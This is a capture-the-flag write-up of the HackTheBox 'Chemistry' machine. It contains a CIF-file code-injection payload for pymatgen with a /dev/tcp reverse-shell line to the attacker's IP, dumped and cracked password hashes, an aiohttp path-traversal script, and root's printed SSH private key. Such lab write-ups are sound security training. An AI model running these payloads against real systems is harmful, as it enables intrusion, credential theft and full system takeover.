Post

HackTheBox - Chemistry

In Chemistry we attack a Linux host starting by exploiting a RCE in a CIFs analyzer python application.

HackTheBox - Chemistry

Chemistry from Hack the Box involves exploiting a vulnerability in a CIFs parser which is running using python. We can leverage the vulnerability to get a reverse shell in the context of the application allowing us access to the filesystem.

After initial access we can dump the sqlite3 database to obtain user credentials.

From here we find another web application listening locally which is running a vulnerable python library. As the application is running as root we can exploit a path traversal vulnerability to read any file on the system.

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kryzen㉿kali)-[~/HTB/Boxes/Chemistry]
└─$ nmap -sV -sC -p- 10.129.123.63 -Pn -v 
<SNIP>
Nmap scan report for 10.129.123.63
Host is up (0.030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
|   256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_  256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open  http    Werkzeug httpd 3.0.3 (Python 3.9.5)
| http-methods: 
|_  Supported Methods: HEAD GET OPTIONS
|_http-title: Chemistry - Home
|_http-server-header: Werkzeug/3.0.3 Python/3.9.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
<SNIP>

Starting off with the usual nmap scan we find two open ports, Noting that it is interesting to see the Werkzeug python web app running on port 5000.

Accessing the application we can see it is running a CIF Analyzer and we already know that this is using Werkzeug so its likely a python flask app.

Web Application

We are allowed to freely register an account with no authentication required which brings us to an upload page which also presents us with an example CIF document to test it with.

After playing around with the app for a bit and a lot googling I came across this potential code execution vulnerability online : https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f

This write-up details being able to execute arbitrary code by adding the following payload and replacing touch pwned with your payload.

1
2
3
4
5
_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Remote Code execution

I found that I was able to modify the example CIF file provided and combine it with the exploit described in the write up to get a reverse shell.

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy


 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.14.64/6666 0>&1\'");0,0,0'
_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

After uploading the file and attempting to view it we can see that we get a connection back on our netcat listener.

Finding credentials

Now that we have access as app we can start enumerating the file system. In the users home folder we find a sqlite data base and we identify that our potential target user is rosa.

1
2
3
4
5
app@chemistry:~/instance$ cat /etc/passwd | grep sh$
cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
app@chemistry:~$ ls -la
ls -la
total 52
drwxr-xr-x 8 app  app  4096 Oct  9 20:18 .
drwxr-xr-x 4 root root 4096 Jun 16  2024 ..
-rw------- 1 app  app  5852 Oct  9 20:08 app.py
lrwxrwxrwx 1 root root    9 Jun 17  2024 .bash_history -> /dev/null
-rw-r--r-- 1 app  app   220 Jun 15  2024 .bash_logout
-rw-r--r-- 1 app  app  3771 Jun 15  2024 .bashrc
drwxrwxr-x 3 app  app  4096 Jun 17  2024 .cache
drwx------ 2 app  app  4096 Mar  8 12:47 instance
drwx------ 7 app  app  4096 Jun 15  2024 .local
-rw-r--r-- 1 app  app   807 Jun 15  2024 .profile
lrwxrwxrwx 1 root root    9 Jun 17  2024 .sqlite_history -> /dev/null
drwx------ 2 app  app  4096 Oct  9 20:13 static
drwx------ 2 app  app  4096 Oct  9 20:18 templates
drwx------ 2 app  app  4096 Mar  8 12:47 uploads
app@chemistry:~$ cd instance
cd instance
app@chemistry:~/instance$ ls
ls
database.db

To access this database we first need to update into a better shell and luckily we already know python is on this box.

1
2
3
4
5
6
7
8
9
10
11
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
app@chemistry:~$ cd instance    
cd instance
app@chemistry:~/instance$ ls
ls
database.db
app@chemistry:~/instance$ sqlite3 database.db
sqlite3 database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> 

From here we can begin enumerating the database, During which we find the users table for the web application which contains a hash for the user rosa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
sqlite> .show
.show
        echo: off
         eqp: off
     explain: auto
     headers: off
        mode: list
   nullvalue: ""
      output: stdout
colseparator: "|"
rowseparator: "\n"
       stats: off
       width: 
    filename: database.db
sqlite> .tables
.tables
structure  user     
sqlite> .dump user
.dump user
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE user (
        id INTEGER NOT NULL,
        username VARCHAR(150) NOT NULL,
        password VARCHAR(150) NOT NULL,
        PRIMARY KEY (id),
        UNIQUE (username)
);
INSERT INTO user VALUES(1,'admin','2861debaf8d99436a10ed6f75a252abf');
INSERT INTO user VALUES(2,'app','197865e46b878d9e74a0346b6d59886a');
INSERT INTO user VALUES(3,'rosa','63ed86ee9f624c7b14f1d4f43dc251a5');
INSERT INTO user VALUES(4,'robert','02fcf7cfc10adc37959fb21f06c6b467');
INSERT INTO user VALUES(5,'jobert','3dec299e06f7ed187bac06bd3b670ab2');
INSERT INTO user VALUES(6,'carlos','9ad48828b0955513f7cf0f7f6510c8f8');
INSERT INTO user VALUES(7,'peter','6845c17d298d95aa942127bdad2ceb9b');
INSERT INTO user VALUES(8,'victoria','c3601ad2286a4293868ec2a4bc606ba3');
INSERT INTO user VALUES(9,'tania','a4aa55e816205dc0389591c9f82f43bb');
INSERT INTO user VALUES(10,'eusebio','6cad48078d0241cca9a7b322ecd073b3');
INSERT INTO user VALUES(11,'gelacia','4af70c80b68267012ecdac9a7e916d18');
INSERT INTO user VALUES(12,'fabian','4e5d71f53fdd2eabdbabb233113b5dc0');
INSERT INTO user VALUES(13,'axel','9347f9724ca083b17e39555c36fd9007');
INSERT INTO user VALUES(14,'kristel','6896ba7b11a62cacffbdaded457c6d92');
INSERT INTO user VALUES(15,'test','098f6bcd4621d373cade4e832627b4f6');
COMMIT;

We can then attempt to crack the users hash using hashcat. They look like they are in MD5 format so lets try that.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kryzen㉿kali)-[~]
└─$ hashcat -m 0 '63ed86ee9f624c7b14f1d4f43dc251a5' /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

<SNIP>

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

63ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados        
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
<SNIP>

We get a hit rosa:unicorniosrosados

User Flag

Using these credentials we can SSH into the box.

1
2
3
4
5
6
7
8
9
10
┌──(kryzen㉿kali)-[~/HTB/Boxes/Chemistry]
└─$ ssh rosa@chemistry.htb 
<SNIP>
rosa@chemistry:~$ id
uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)
rosa@chemistry:~$ hostname
chemistry
rosa@chemistry:~$ cat user.txt 
a8d28cc5e99631f72ca493ebd811d16c

Privilege Escalation

Now that we have SSH access it is time to begin enumerating the machine looking for a privilege escalation vector.

Checking running processes we can see that root is running a monitoring app.

1
2
3
4
5
rosa@chemistry:~$ ps aux | grep root

<SNIP>
root        1011  0.0  1.3  35408 27724 ?        Ss   11:48   0:00 /usr/bin/python3.9 /opt/monitoring_site/app.py
<SNIP>

Checking netstat shows that the host is listening locally on port 8080

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rosa@chemistry:~$ netstat -antp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 10.129.123.63:44646     10.10.14.64:6666        CLOSE_WAIT  -                   
tcp        0     36 10.129.123.63:22        10.10.14.64:48808       ESTABLISHED -                   
tcp        0      1 10.129.123.63:34654     1.1.1.1:53              SYN_SENT    -                   
tcp        0      0 10.129.123.63:5000      10.10.14.64:46786       ESTABLISHED -                   
tcp6       0      0 :::22                   :::*                    LISTEN      - 

Checking with curl we can confirm that a http application is running on this port.

1
2
3
4
5
6
7
8
9
10
11
12
rosa@chemistry:~$ curl http://127.0.0.1:8080
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Site Monitoring</title>
    <link rel="stylesheet" href="/assets/css/all.min.css">
    <script src="/assets/js/jquery-3.6.0.min.js"></script>
    <script src="/assets/js/chart.js"></script>
    <link rel="stylesheet" href="/assets/css/style.css">

We can attempt a local port forward so we can see what is running using the browser.

1
2
3
4
5
┌──(kryzen㉿kali)-[~/HTB/Boxes/Chemistry]
└─$ ssh -L 1234:localhost:8080 rosa@chemistry.htb
rosa@chemistry.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
<SNIP>

Now if we open our browser we can attempt to access the application running on 8080 using our localhost port 1234.

We can see that this looks like some kind of monitoring site which also is able to list services and has some other functions.

Running whatweb against the application shows that it is running using Python but also aiohttp/3.9.1 which is quite unusual.

1
2
3
4
┌──(kryzen㉿kali)-[~]
└─$ whatweb http://127.0.0.1:1234
http://127.0.0.1:1234 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Python/3.9 aiohttp/3.9.1], IP[127.0.0.1], JQuery[3.6.0], Script, Title[Site Monitoring]

Researching this shows that it is a python library that happens to have a path transversal vulnerability, Imagine that!

The POC I located and will be using is : link though it required some modification.

By checking the source code of the web page we could identify where the assets were being stored : /assets/

This results in the final POC looking like :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash
  
url="http://localhost:8080"
string="../"
payload="/assets/"
file="root/root.txt" # without the first /

for ((i=0; i<15; i++)); do
    payload+="$string"
    echo "[+] Testing with $payload$file"
    status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
    echo -e "\tStatus code --> $status_code"

    if [[ $status_code -eq 200 ]]; then
        curl -s --path-as-is "$url$payload$file"
        break
    fi
done

We SSH back into the machine as Rosa without the port forward and make the script to carry out the exploit.

Running the exploit we can read the contents of the root flag.

1
2
3
4
5
6
7
8
9
10
11
rosa@chemistry:~$ vim exploit.sh
rosa@chemistry:~$ chmod +x exploit.sh 
rosa@chemistry:~$ ./exploit.sh 
[+] Testing with /assets/../root/root.txt
        Status code --> 404
[+] Testing with /assets/../../root/root.txt
        Status code --> 404
[+] Testing with /assets/../../../root/root.txt
        Status code --> 200
74a713a808f6b56deeda183864d35352

SSH Access as root.

With a slight modification to the exploit we can instead read the root users id_rsa private key which should allow us to ssh into the box as the root user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
rosa@chemistry:~$ ./exploit.sh 
[+] Testing with /assets/../root/.ssh/id_rsa
        Status code --> 404
[+] Testing with /assets/../../root/.ssh/id_rsa
        Status code --> 404
[+] Testing with /assets/../../../root/.ssh/id_rsa
        Status code --> 200
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

We can then make the private key on our attack host and use it to ssh into the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kryzen㉿kali)-[~/HTB/Boxes/Chemistry]
└─$ vim id_rsa            
                                                                                                                                                                                                                                            
┌──(kryzen㉿kali)-[~/HTB/Boxes/Chemistry]
└─$ chmod 400 id_rsa                     
                                                                                                                                                                                                                                            
┌──(kryzen㉿kali)-[~/HTB/Boxes/Chemistry]
└─$ ssh root@chemistry.htb -i id_rsa 
<SNIP>
root@chemistry:~# id
uid=0(root) gid=0(root) groups=0(root)
root@chemistry:~# hostname
chemistry

I thought this was a very fun box though finding the initial RCE exploit was quite difficult. Even having an idea of what the potential attack vector might be it still took quite some time to locate something that worked.

Thanks for reading!

This post is licensed under CC BY 4.0 by the author.